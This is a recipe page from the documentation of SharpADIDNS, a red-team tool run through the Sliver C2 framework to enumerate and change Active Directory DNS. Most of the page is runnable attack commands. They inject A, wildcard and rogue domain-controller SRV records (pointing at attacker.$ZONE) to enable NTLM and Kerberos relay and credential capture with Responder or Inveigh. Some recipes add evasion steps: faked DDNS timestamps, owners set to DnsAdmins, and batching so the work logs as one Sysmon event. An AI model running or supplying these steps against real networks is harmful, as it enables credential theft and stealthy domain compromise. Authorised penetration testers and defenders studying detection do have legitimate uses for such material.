Language: English | 中文 | Français
End-to-end scenarios. Each recipe is self-contained — you can skip to the one you need without reading the others.
Every recipe uses the --c2 mode as the default invocation shape because the primary deployment is Sliver execute-assembly. To run any of these on a local shell instead, drop --c2 and replace --password-base64 with --password (and accept the cleartext warning).
| Placeholder | Example value | Source |
|---|---|---|
$ZONE |
redteamnotes.local |
Output of list-zones (recipe 1) |
$DN |
DC=redteamnotes,DC=local |
Your domain naming context |
$DC |
dc.redteamnotes.local |
PDC FQDN (use --show-pdc to confirm) |
$USER |
redteamnotes\redpen |
Operator account |
$PWB64 |
UmVkdGVhbU4wdDNzLg== |
printf 'pwd' | base64 |
Bring your own values; substitute everywhere.
Two flag forms are accepted: --flag value (space-separated, used throughout the recipes) and --flag=value (equals form). The equals form is more robust through multi-layer shell parsing (Sliver execute-assembly, scripted ssh, etc.) when the value contains spaces, quotes, or $. Mixing is fine: --username=redteamnotes\u --password-base64 UmVk... works.
Per-verb help is also available: SharpADIDNS.exe add --help shows only the flags relevant to add; enum --help only the enum-relevant subset; etc. Global --help (no verb) prints the full reference.
Goal: understand the AD-DNS environment before any write. Identify zones, interesting hostnames, ownership patterns. Read-only — no AD writes, no disk artifacts.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--dn "$DN" --server "$DC" \
--script "
list-zones;
enum --zone $ZONE --filter-type A,AAAA;
enum --zone $ZONE --filter-name '_*._tcp.*';
enum --zone $ZONE --only-tombstoned
"Output on stdout is 4 JSON arrays (one per statement) plus a script_summary. Pipe through jq operator-side:
# operator post-process
... | jq -c 'select(._type != "script_summary") | .nodes[] | {name, dn, records: [.records[].type]}'Look for:
- Custom zones beyond the obvious one (often
dev.redteamnotes.local,lab.redteamnotes.local) - Wildcard
*records (already deployed → don't clobber) wpad/isatap/localhost(legacy / honeypot indicators)- SCCM / SQL / printer hostnames (high-impact targets)
- Tombstoned recent activity (defender / cleanup operation in progress)
Goal: add one A record (e.g. for an SCCM relay or NTLM relay setup), capture pre-state in the receipt so you can revert.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name sccm --type A --data 10.0.0.66The receipt comes back as one JSON line. Save it on operator side before doing anything else:
... | tee /tmp/sccm-receipt.json | jq .The receipt's reverse field is your one-line undo for the create case:
{ "action":"add", "operation":"create",
"reverse": "SharpADIDNS.exe remove --zone redteamnotes.local --name sccm --dn DC=redteamnotes,DC=local --yes",
... }When you want to clean up:
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
remove \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone $ZONE --dn $DN --server $DC \
--name sccmNote that reverse deliberately omits --username/--password* — re-add your auth flags.
Goal: same as recipe 2, but tune the resulting dnsRecord blob and object owner to look like a routine DDNS write, defeating two common forensic patterns.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name sccm --type A --data 10.0.0.66 \
--mimic-aging --set-owner "$ZONE\\DnsAdmins"What's different from recipe 2:
| Field | Recipe 2 (default) | Recipe 3 (stealth) |
|---|---|---|
dnsRecord.Timestamp (offset 20) |
0 (static — IOC) |
hours-since-1601 of now (looks DDNS-natural) |
dnsNode.nTSecurityDescriptor.Owner |
your token's SID | DnsAdmins (privileged group, blends with routine admin activity) |
Verify after the write:
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
query \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name sccmConfirm in the JSON receipt:
record.timestampis a big number (~3.7M+), not 0permissions.owneris<domain>\DnsAdmins
Caveat: --set-owner needs WriteOwner on the new node. The creator usually has it implicitly on a node they just made. If set_owner.result in the receipt is "error", you don't have the right; the record write itself still succeeded.
Goal: catch all unresolved name lookups in the zone, typically paired with Responder / Inveigh / krbrelayx for credential capture.
WARNING: this is the highest-impact write the tool can do. Run recipe 1 first to confirm no legitimate wildcard exists. Hits every non-existent hostname in the zone until removed. --c2 already implies --yes, so the tool will not prompt — be deliberate.
# pre-check: does a wildcard already exist?
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
enum \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--filter-name '\*'
# inject (only if pre-check returned 0 nodes)
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name "*" --type A --data 10.0.0.66 --ttl 60 \
--mimic-aging--ttl 60 makes the record short-lived in client caches — when you remove it, cleanup propagates within a minute. (Default 600 seconds is fine too, but 60 is friendlier for "in and out fast".)
Cleanup:
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
remove \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone $ZONE --dn $DN --server $DC \
--name "*"Run recipe 1 again to confirm the wildcard is gone.
Goal: introduce a competing SRV record so Windows clients resolve a Kerberos or LDAP target to your relay host. High-impact for Kerberos relay attacks.
The classic target is _ldap._tcp.dc._msdcs.<zone> (where DCs advertise themselves). A new SRV with priority 0 weight 100 port 389 will preempt the legitimate DC if your weight beats theirs, or coexist as a candidate.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
add \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name '_ldap._tcp.dc._msdcs' \
--type SRV --srv-priority 0 --srv-weight 100 --srv-port 389 \
--data attacker.$ZONE \
--append --mimic-aging--append is the right mode here: the legitimate DC SRV record(s) stay; yours is added alongside. Without --append, you'd need --force and would clobber the real DC SRV (probably catastrophic).
To verify all SRV entries on the node afterwards:
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
query \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name '_ldap._tcp.dc._msdcs'Cleanup must remove only your record, not the legitimate DC SRVs. The receipt's previous_state.records_base64 has the original SRV blobs. To restore exactly:
# operator: extract previous_state.records_base64 from the saved receipt,
# then for each b64 entry on the node:
# 1) disable the node entirely (clears all SRVs, sets tombstone)
sliver > execute-assembly ... disable --zone $ZONE --name '_ldap._tcp.dc._msdcs' --dn $DN
# 2) re-add each original SRV blob via --raw
sliver > execute-assembly ... add --zone $ZONE --name '_ldap._tcp.dc._msdcs' \
--raw <previous_state.records_base64[0]> --force --dn $DN
sliver > execute-assembly ... add --zone $ZONE --name '_ldap._tcp.dc._msdcs' \
--raw <previous_state.records_base64[1]> --append --dn $DN
# ... repeat for each remaining original recordThis is multi-step on purpose; the tool's reverse field is null for add --append cases because no single command undoes it.
Goal: do a 3-step operation (verify pre-state → modify → verify post-state) in a single execute-assembly invocation, so it shows up as one Sysmon EID 1 instead of three.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--script "
enum --filter-name 'sccm*';
add --name sccm --type A --data 10.0.0.66 --mimic-aging --set-owner '$ZONE\\\\DnsAdmins';
query --name sccm
"Note the doubled backslash \\\\ inside --set-owner: Sliver's command parser eats one pair, the C# arg parser eats the second pair, the resulting string seen by the tool is $ZONE\DnsAdmins. Always test the escape level in your specific Sliver setup first with a --dry-run script.
Output on stdout: 3 receipts (one per statement) + 1 script_summary line. Pipe through jq -c . on operator side; each line is independently valid JSON, and all four share the same correlation_id so a downstream collector can group them with jq -s 'group_by(.correlation_id)'.
--script-on-error halt (the default) stops on first failure. For "best-effort batch" use --script-on-error continue (or the shorter alias --continue-on-error) and check the failed count in the summary.
Goal: undo every write you made during the engagement, using only the JSONL backup file you've been accumulating.
Throughout the engagement, you've been adding --backup-to ops.jsonl (a real path, not -) so every write captures its previous_state to a file on a host you control. Now you want to revert.
# operator-side: each line in ops.jsonl is a self-contained backup entry
# of one node. Process them in reverse order (newest first):
tac ops.jsonl | while IFS= read -r entry; do
dn=$(jq -r .dn <<<"$entry")
name=$(jq -r '.dn | split(",")[0] | sub("^DC="; "")' <<<"$entry")
zone=$(jq -r '.dn | split(",")[1] | sub("^DC="; "")' <<<"$entry") # adapt to your zone DN
records=$(jq -c '.records' <<<"$entry")
tombstoned=$(jq -r .dNSTombstoned <<<"$entry")
if [ "$records" = "[]" ] && [ "$tombstoned" = "false" ]; then
# node didn't exist before our change -> remove it now
sliver > execute-assembly ... remove --zone "$zone" --name "$name" ...
else
# node existed -> disable to clear our writes, then re-add each original record
sliver > execute-assembly ... disable --zone "$zone" --name "$name" ...
jq -r '.records[]' <<<"$entry" | while read -r blob; do
sliver > execute-assembly ... add --raw "$blob" --force --zone "$zone" --name "$name" ...
done
fi
doneTest this loop against one entry first (with --dry-run appended to each execute-assembly). Then run for real.
For an entirely in-memory equivalent without ops.jsonl on disk, you'd have to have been saving the receipt of every write on the C2 side instead. Same logic, different source.
Goal: before attempting a --force replace or remove, confirm you have write rights on the target node — without actually doing the write.
sliver > execute-assembly SharpADIDNS.exe -p dllhost.exe -- \
query \
--c2 \
--username "$USER" --password-base64 "$PWB64" \
--zone "$ZONE" --dn "$DN" --server "$DC" \
--name fileserver \
-v-v (verbose) also dumps inherited ACEs. In the receipt's permissions.aces[], look for:
- Entries where
trusteeincludes your user / a group you're in /Authenticated Users type: "Allow"(not Deny)rightscontainsWriteProperty,WriteDacl, orGenericAll
If none match → operator doesn't have rights → don't attempt the write, save the audit event.
If the only matching ACE is Authenticated Users with CreateChild on the zone container (not on the node itself), you can create new nodes but cannot modify the existing one — relevant for --append semantics.
These apply to every recipe, not just one:
- Always
--dry-runfirst for any write op you've never done in this environment. The dry-run still binds (so it audit-logs as a read), but does not write. - Always have a restore plan before you write. Either
--backup-to file(disk-cost) or--backup-to -(in-receipt, ephemeral) or you've manually capturedprevious_statefrom the receipt. --c2implies--yes— there's no human prompt. The tool will not stop you from wildcards,wpad/isatap, un-tombstoning, or hard-remove. Be deliberate.- DC-side audit (5136 / 5137 / 5141) and Defender for Identity sensors fire regardless of
--c2. The tool minimizes your operator-side surface; nothing in the tool hides you from the DC's audit logs. reversefield is best-effort one-liner. For replace / append / disable / remove,reverseisnulland you must reconstruct fromprevious_state.records_base64. Don't rely onreversealone — keep the full receipt.
For the broader detection model see Detection surface in the main README.